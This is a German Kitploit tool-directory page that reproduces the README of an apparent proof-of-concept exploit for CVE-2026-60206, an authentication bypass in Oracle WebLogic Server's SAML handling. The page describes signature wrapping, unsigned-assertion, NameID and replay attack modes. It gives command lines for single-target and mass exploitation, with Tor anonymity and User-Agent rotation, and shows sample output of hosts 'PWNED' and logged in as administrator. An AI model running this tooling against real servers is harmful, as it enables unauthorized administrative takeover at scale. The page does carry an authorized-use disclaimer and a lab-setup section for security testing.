Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-60206 — Technische Analyse und Proof-of-Concept für CVE-2026-60206, eine kritische Schwachstelle zur Umgehung der SAML-Authentifizierung im Oracle WebLogic Server. | Kitploit
Tools/GitHubGitHub/debajyoti0-0/cve-2026-60206
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsAuthentifizierung
GitHubdebajyoti0-0/cve-2026-60206

CVE-2026-60206

Technische Analyse und Proof-of-Concept für CVE-2026-60206, eine kritische Schwachstelle zur Umgehung der SAML-Authentifizierung im Oracle WebLogic Server.

Repository anzeigen
44vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-60206 – PoC zur Umgehung der SAML-Authentifizierung von Oracle WebLogic Server

Dieses Repository bietet einen Proof-of-Concept-Exploit für CVE‑2026‑60206, eine kritische Schwachstelle zur Umgehung der Authentifizierung in der SAML-Implementierung von Oracle WebLogic Server. Der Fehler ermöglicht es einem entfernten Angreifer mit geringen Rechten, den Server durch das Fälschen von SAML-Assertions vollständig zu kompromittieren.

CVSS

⚠️ Haftungsausschluss: Dieses Tool ist ausschließlich für autorisierte Sicherheitsforschung und -tests bestimmt. Verwenden Sie es nur gegen Systeme, die Ihnen gehören oder für deren Test Sie eine ausdrückliche Genehmigung haben. Die Autoren übernehmen keine Haftung für Missbrauch.

CVE-2026-60206 Logo

🔥 Überblick über die Schwachstelle

CVE-2026-60206 betrifft die Core-Komponente von Oracle WebLogic Server. Die Schwachstelle resultiert aus einer fehlerhaften Authentifizierungsbehandlung in der SAML-Protokollimplementierung. Mehrere Angriffsvektoren – wie XML-Signatur-Wrapping (XSW), die Akzeptanz unsignierter Assertions, NameID-Manipulation und die Umgehung von Audience-/Conditions-Prüfungen – ermöglichen es einem Angreifer, sich als beliebige Benutzer auszugeben (z. B. weblogic) und administrativen Zugriff zu erlangen.

Betroffene Versionen:

  • 12.2.1.4.0
  • 14.1.1.0.0
  • 14.1.2.0.0
  • 15.1.1.0.0

Der PoC implementiert die folgenden Angriffsvektoren:

  • XML-Signatur-Wrapping (XSW) – strukturelle Manipulation, um den SAML-Prozessor dazu zu bringen, eine unsignierte Assertion zu akzeptieren.
  • Injektion unsignierter Assertions – Erstellen einer vollständig unsignierten SAML-Antwort (falls WantAssertionsSigned nicht erzwungen wird).
  • NameID-Manipulation – Verwirrung des Identitäts-Mappers durch XML-Kommentare, Leerzeichen oder Formatverwirrung.
  • Umgehung der Audience-Einschränkung – Entfernen oder Modifizieren von AudienceRestriction, um den Geltungsbereich zu erweitern.
  • Umgehung von Conditions/Zeit – Manipulation von NotBefore/NotOnOrAfter, um Gültigkeitsprüfungen zu umgehen.
  • Kombinierter Angriff – XSW + unsignierte innere Assertion + NameID-Manipulation (größte Erfolgsaussicht).
  • Replay – Wiedergabe einer erfassten SAML-Antwort mit modifiziertem Ziel/Empfänger.

✨ Funktionen

  • Mehrere Angriffsmodi – wählbar aus all, unsigned, xsw, nameid, audience, conditions, combo oder replay.
  • Massen-Scanning – parallele Erkennung und optionale Ausnutzung auf vielen Zielen (über -l).
  • Versionserkennung – präzises Fingerprinting der WebLogic-Version über Header, Fehlerseiten und WSDL.
  • SAML-Endpunkt-Erkundung – automatisches Entdecken von SAML-ACS-, Metadaten- und SP-initiierten Endpunkten.
  • Tor-Unterstützung – Weiterleitung des Datenverkehrs über Tor (SOCKS5/HTTP/SOCKS4) für Anonymität.
  • Wiedergabe roher HTTP-Anfragen – Senden beliebiger roher HTTP-Anfragen aus einer Datei (-r).
  • HTTP/2-Unterstützung – verwendet automatisch httpx, falls installiert, andernfalls requests (HTTP/1.1).
  • User-Agent-Rotation – Verwendung eines zufälligen oder benutzerdefinierten User-Agents.
  • Proxy-Unterstützung – Senden aller Anfragen über einen HTTP/SOCKS-Proxy.
  • Anpassung von Anfragen – Festlegen von Timeouts, Wiederholungen, Verzögerungen, Deaktivieren von Umleitungen und Wiederholen bei Regex-Muster.
  • Speichern von Payloads – Speichern generierter SAML-Payloads auf der Festplatte (--save-payloads).
  • Schwachstellenprüfung (-c / --check) – schnelle Ermittlung, ob ein Ziel verwundbar ist (kein Exploit).
  • JSON/CSV-Berichtsausgabe – strukturierte Ergebnisse für Massen-Scans.
  • Ausführliche Protokollierung – detaillierte Debug-Ausgabe mit farbiger Konsole.

📦 Installation

root@kitploit:~
git clone https://github.com/Debajyoti0-0/CVE-2026-60206.git
cd CVE-2026-60206
pip install -r requirements.txt

Erforderlich: requests, urllib3

Optional (erweitert die Funktionalität):

  • httpx – für HTTP/2-Unterstützung
  • lxml – für verbessertes SAML-Parsing
  • signxml, cryptography – für die Signaturverarbeitung (für die Ausnutzung nicht erforderlich)

🚀 Verwendung

Einzelnes Ziel – nur Erkennung

root@kitploit:~
python CVE-2026-60206.py -t https://192.168.1.100:7002 --detect

Einzelnes Ziel – alle Angriffsvektoren ausführen

root@kitploit:~
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode all -u weblogic

Einzelnes Ziel – spezifischer Angriffsmodus

root@kitploit:~
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode combo -u admin

Massen-Scan – Versionen aus Datei erkennen

root@kitploit:~
python CVE-2026-60206.py -l targets.txt -o results.json

Massen-Scan – Erkennung + Exploit

root@kitploit:~
python CVE-2026-60206.py -l targets.txt --exploit -o results.csv --threads 20

Erfasste SAML-Antwort wiedergeben

root@kitploit:~
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode replay --replay-file captured.xml

Tor verwenden und Konnektivität prüfen

root@kitploit:~
python CVE-2026-60206.py -t https://192.168.1.100:7002 --tor --check-tor

Rohe HTTP-Anfrage aus Datei senden

root@kitploit:~
python CVE-2026-60206.py -t https://192.168.1.100:7002 -r request.txt --method POST

Schnelle Schwachstellenprüfung (kein Exploit)

root@kitploit:~
python CVE-2026-60206.py -t https://192.168.1.100:7002 -c

⚙️ Referenz der Flags

Optionen:

FlagBeschreibung
-h, --helpHilfemeldung anzeigen und beenden.
--proxy PROXYProxy-URL (wird durch --tor überschrieben, falls verwendet).
--no-verifySSL-Zertifikatsprüfung deaktivieren.
--cookie COOKIESession-Cookie(s) (z. B. name=value; name2=value2).
--auth AUTHAnmeldedaten für die Basis-Authentifizierung (USER:PASS).

Ziel:

FlagBeschreibung
-t, --target TARGETURL eines einzelnen Ziels (z. B. https://host:7002).
-l, --list LISTDatei mit Zielliste für den Massen-Scan oder einzelne URL.
-f, --file FILEAlias für --list.

Anfrageoptionen:

FlagBeschreibung
-r, --requestfile REQUESTFILERohe HTTP-Anfrage aus Datei laden (ersetzt SAML-Angriffe).
--method METHODZu verwendende HTTP-Methode (für rohe Anfrage oder einzelne Anfrage; Standard: GET).
--random-agentEinen zufälligen User-Agent aus der integrierten Liste verwenden.
-A, --user-agent USER_AGENTBenutzerdefinierter User-Agent-Header-Wert.
--torTor-Anonymitätsnetzwerk verwenden (standardmäßig SOCKS5).
--tor-port TOR_PORTTor-Proxy-Port (Standard: 9050).
--tor-type {HTTP,SOCKS4,SOCKS5}Tor-Proxy-Typ (Standard: SOCKS5).
--check-torPrüfen, ob Tor ordnungsgemäß verwendet wird (beendet mit Ergebnis).
--delay DELAYVerzögerung in Sekunden zwischen den einzelnen Anfragen.
--timeout TIMEOUTTimeout in Sekunden (Standard: 30).
--retries RETRIESAnzahl der Wiederholungen bei Timeout/Fehlern (Standard: 3).
--retry-on RETRY_ONAnfrage wiederholen, wenn der Antwortinhalt auf einen Regex passt (z. B. 'captcha').
-dr, --disable-redirectsHTTP-Umleitungen nicht verfolgen.

Angriffskonfiguration:

FlagBeschreibung
-m, --mode {all,detect,unsigned,xsw,nameid,audience,conditions,combo,replay}Angriffsmodus (Standard: all).
--detectNur WebLogic-Version und SAML-Konfiguration erkennen (kein Angriff).
-c, --checkSchnelle Schwachstellenprüfung (nur Erkennung, beendet mit Ergebnis).
-u, --user USERZielbenutzer, als der man sich ausgeben möchte (Standard: weblogic).
--groups GROUPSGruppen, die in die SAML-Assertion aufgenommen werden sollen (Standard: Administrators,Monitors).
--issuer ISSUERSAML-Issuer-Entity-ID.
--audience AUDIENCESAML-Audience-Entity-ID.
--relay-state RELAY_STATERelayState-Parameter für den SAML-POST.
--base64Die SAML-Antwort im POST Base64-kodieren.
--extra-attrs [NAME=VALUE ...]Zusätzliche SAML-Attribute (z. B. role=admin).
--replay-file REPLAY_FILEPfad zur erfassten SAML-Antwort für die Wiedergabe.
--save-payloadsGenerierte SAML-Payloads unter ./payloads/ speichern.
--continue-on-successNach einem erfolgreichen Angriff mit dem Testen fortfahren.

Massen-Scan (mit -l):

FlagBeschreibung
--exploitUnsignierte SAML-Assertion testen (Standard: nur Erkennung).
-T, --threads THREADSParallele Threads (Standard: 10).

Ausgabe:

FlagBeschreibung
-v, --verboseAusführlichkeit erhöhen (Debug-Ausgabe).
-q, --quietNicht wesentliche Ausgaben unterdrücken.
--list-modesAlle Angriffsmodi mit Beschreibungen auflisten und beenden.
-o, --output OUTPUTJSON- oder CSV-Bericht in eine Datei schreiben.

🧪 Modi im Detail

detect

Führt Versionserkennung und SAML-Endpunkt-Erkundung durch. Es wird kein Angriff gestartet.

unsigned

Injiziert eine vollständig unsignierte SAML-Assertion. Wenn das Ziel WantAssertionsSigned nicht erzwingt, wird die Authentifizierung vollständig umgangen.

Varianten: unsigned (Standard), unsigned_stripped (entfernt alle Signaturreferenzen).

xsw (XML-Signatur-Wrapping)

Platziert eine bösartige unsignierte Assertion vor (oder umhüllend) einer gültigen signierten Assertion. Der SAML-Prozessor wählt möglicherweise die erste Assertion aus, während der Signaturprüfer die signierte überprüft.

Varianten: xsw1 (einfaches Voranstellen), xsw2 (gleiche ID wie das Original), xsw3 (verschachtelter Wrapper), xsw4 (Geschwisterelement).

nameid

Manipuliert das NameID-Feld, um den Identitäts-Mapper von WebLogic zu verwirren und die Ausgabe als anderer Benutzer zu ermöglichen.

Varianten: comment_injection, whitespace, format_confusion, xpath_injection.

audience

Umgeht AudienceRestriction-Prüfungen, indem das Audience-Element entfernt oder modifiziert wird.

Varianten: remove_audience, wildcard_audience, extra_audience.

conditions

Umgeht zeitbasierte Einschränkungen (z. B. NotBefore, NotOnOrAfter).

Varianten: future_timestamp, expired_timestamp, remove_conditions, infinite_validity.

combo

Kombiniert XSW, unsignierte Assertion und NameID-Manipulation in einem einzigen Payload – der wahrscheinlichste Vektor für eine vollständige Kompromittierung.

Varianten: combo_full (mit Kommentarinjektion), combo_stealth (mit Zeilenumbruch).

replay

Spielt eine zuvor erfasste SAML-Antwort erneut ab und modifiziert optional das Ziel oder entfernt Audience-Einschränkungen.

Varianten: replay_modified (passt Destination/Empfänger an), replay_cross_sp (entfernt Audience-Einschränkungen).

📝 Beispiel-Workflow (Ausnutzung eines einzelnen Ziels)

root@kitploit:~
$ python CVE-2026-60206.py -t https://192.168.1.100:7002 -u weblogic --mode combo

  ╔══════════════════════════════════════════════════════════════════════╗
  ║       CVE-2026-60206 — WebLogic SAML Authentication Bypass PoC       ║
  ║         Oracle WebLogic Server Core | CVSS 9.9 | CWE-287             ║
  ╚══════════════════════════════════════════════════════════════════════╝

🔍 Detecting WebLogic version and SAML configuration...
  Detected WebLogic version: 12.2.1.4.0
  ⚠️  Version 12.2.1.4.0 is IN SCOPE for CVE-2026-60206!
  Found SAML metadata: /saml2/sp/metadata
  Found SAML ACS: /saml2/sp/acs (HTTP 200)

============================================================
🚀 Starting comprehensive SAML attack suite
   Target: https://192.168.1.100:7002
   Target User: weblogic
============================================================

── Attack 1/2 ──
🎯 [combo/combo_full] Launching combined attack for: weblogic
✅ [combo/combo_full] Authentication bypass SUCCEEDED! Logged in as: weblogic
   ACS Endpoint: /saml2/sp/acs

── Attack 2/2 ──
🎯 [combo/combo_stealth] Launching combined attack for: weblogic
✅ [combo/combo_stealth] Authentication bypass SUCCEEDED! Logged in as: weblogic
   ACS Endpoint: /saml2/sp/acs

============================================================
📊 Results: 2/2 attack vectors succeeded
============================================================

 EXPLOIT SUCCESSFUL! 2 attack(s) bypassed authentication.
   - [combo/combo_full] → logged in as 'weblogic' via /saml2/sp/acs
   - [combo/combo_stealth] → logged in as 'weblogic' via /saml2/sp/acs
📄 Report saved: logs/report_20260725_123456.json

📝 Beispiel-Workflow (Massen-Scan)

root@kitploit:~
$ python CVE-2026-60206.py -l targets.txt --exploit -o scan_results.csv --threads 10

============================================================
  CVE-2026-60206 Mass Scanner
  Targets: 50
  Threads: 10
  Mode:    Exploit
============================================================

  [10/50] 20.0% | Vuln:3 | Pwned:1 | 1.2 tgt/s  
  [!] VULN: https://10.0.0.5:7002 (12.2.1.4.0)
  [!!] PWNED: https://10.0.0.5:7002 - logged in as weblogic
  ... (continues) ...

============================================================
  SCAN SUMMARY
============================================================
  Total targets:   50
  Reachable:       45
  WebLogic:        12
  Vuln version:    8
  Exploited:       3
  Duration:        42.5s
============================================================

  [!!] SUCCESSFULLY EXPLOITED:
    https://10.0.0.5:7002 → weblogic via /saml2/sp/acs
    https://10.0.0.10:7002 → weblogic via /saml2/sp/acs
    https://10.0.0.15:7002 → weblogic via /saml2/sp/acs

  [!] VULNERABLE VERSIONS (not yet exploited):
    https://10.0.0.20:7002 (14.1.1.0.0)
    https://10.0.0.25:7002 (15.1.1.0.0)
    ... (truncated)

🛠️ Einrichtung einer verwundbaren Testumgebung

Um diesen PoC sicher zu testen, richten Sie einen WebLogic Server mit aktiviertem SAML und einer der betroffenen Versionen ein. Sie können beispielsweise Docker verwenden:

root@kitploit:~
# Example (simplified – use official Oracle WebLogic images with SAML configuration)
docker run -p 7002:7002 container-registry.oracle.com/middleware/weblogic:12.2.1.4
# Then configure SAML via WebLogic console or scripts

Die SAML-Konfiguration muss mindestens einen SAML-2.0-Service-Provider mit einem ACS-Endpunkt (z. B. /saml2/sp/acs) und veröffentlichten Metadaten enthalten.

🔗 Referenzen

  • Oracle-Hinweis zum Critical Patch Update Juli 2026
  • CVE-2026-60206 Details – NIST NVD
  • CWE-287: Fehlerhafte Authentifizierung
  • Sicherheitsanalyse von SAML 2.0 – XML-Signatur-Wrapping

📜 Lizenz

Dieses Projekt ist unter der GNU-v3.0-Lizenz lizenziert – Details finden Sie in der Datei LICENSE.

🤝 Mitwirken

Issues und Pull-Requests sind willkommen. Bitte stellen Sie sicher, dass Ihre Beiträge denselben ethischen Nutzungsrichtlinien folgen.

Denken Sie daran: Holen Sie vor dem Testen eines Sicherheitstools immer die entsprechende Genehmigung ein. Bleiben Sie ethisch!

Tool herunterladen